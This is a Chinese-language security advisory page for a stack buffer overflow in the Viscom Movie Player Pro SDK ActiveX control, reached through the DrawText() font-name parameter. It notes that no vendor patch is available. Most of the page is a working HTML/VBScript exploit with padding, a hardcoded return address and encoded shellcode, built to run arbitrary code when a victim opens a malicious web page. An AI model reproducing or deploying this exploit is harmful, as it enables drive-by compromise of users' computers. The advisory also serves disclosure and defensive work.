Movie Player Pro SDK ActiveX是用于播放多媒体文件的ActiveX控件。
MOVIEPLAYER.MoviePlayerCtrl.1 ActiveX控件（MoviePlayer.ocx）没有正确地过滤用户提交给DrawText()方式的strFontName参数，用户受骗访问了恶意网页并传送了超长的字体名称参数就可以触发栈溢出，导致执行任意指令。
Viscom Softwares Movie Player Pro SDK ActiveX 6.8.0.0
厂商补丁：
Viscom Softwares
----------------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.viscomsoft.com/
<html>
<object classid='clsid:F4A32EAF-F30D-466D-BEC8-F4ED86CAF84E' id='test'></object>
<script language = 'vbscript'>
buf_1 = String(32, "A")
pwEIP = unescape("%40%46%E3%77") 'call EBP from user32.dll Win 2k Pro
buf_2 = String(416, "A")
sCode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%4f%49%49%49%49%49") & _
unescape("%49%51%5a%56%54%58%36%33%30%56%58%34%41%30%42%36") & _
unescape("%48%48%30%42%33%30%42%43%56%58%32%42%44%42%48%34") & _
unescape("%41%32%41%44%30%41%44%54%42%44%51%42%30%41%44%41") & _
unescape("%56%58%34%5a%38%42%44%4a%4f%4d%4e%4f%4a%4e%46%34") & _
unescape("%42%50%42%30%42%50%4b%38%45%44%4e%43%4b%38%4e%47") & _
unescape("%45%30%4a%47%41%30%4f%4e%4b%48%4f%54%4a%41%4b%38") & _
unescape("%4f%55%42%52%41%30%4b%4e%49%54%4b%48%46%33%4b%48") & _
unescape("%41%50%50%4e%41%43%42%4c%49%59%4e%4a%46%48%42%4c") & _
unescape("%46%47%47%50%41%4c%4c%4c%4d%50%41%50%44%4c%4b%4e") & _
unescape("%46%4f%4b%43%46%35%46%52%46%30%45%37%45%4e%4b%58") & _
unescape("%4f%45%46%42%41%50%4b%4e%48%46%4b%48%4e%30%4b%44") & _
unescape("%4b%48%4f%35%4e%41%41%30%4b%4e%4b%38%4e%51%4b%38") & _
unescape("%41%50%4b%4e%49%38%4e%45%46%32%46%50%43%4c%41%33") & _
unescape("%42%4c%46%46%4b%48%42%34%42%33%45%38%42%4c%4a%47") & _
unescape("%4e%30%4b%38%42%34%4e%50%4b%58%42%47%4e%41%4d%4a") & _
unescape("%4b%58%4a%36%4a%30%4b%4e%49%50%4b%48%42%48%42%4b") & _
unescape("%42%30%42%50%42%30%4b%38%4a%56%4e%43%4f%55%41%33") & _
unescape("%48%4f%42%46%48%35%49%38%4a%4f%43%58%42%4c%4b%37") & _
unescape("%42%55%4a%36%42%4f%4c%58%46%50%4f%35%4a%36%4a%59") & _
unescape("%50%4f%4c%38%50%50%47%55%4f%4f%47%4e%43%56%41%56") & _
unescape("%4e%46%43%56%50%32%45%46%4a%37%45%36%42%50%5a")
buf_3 = String(4899, "A")
egg = buf_1 & pwEIP & buf_2 & sCode & buf_3
test.DrawText 1, 1, 1, "", 1, egg, True, True, True, 1, 1, 1, 1, 1, 1
</script>
</html>
京公网安备 11010502034610号
暂无评论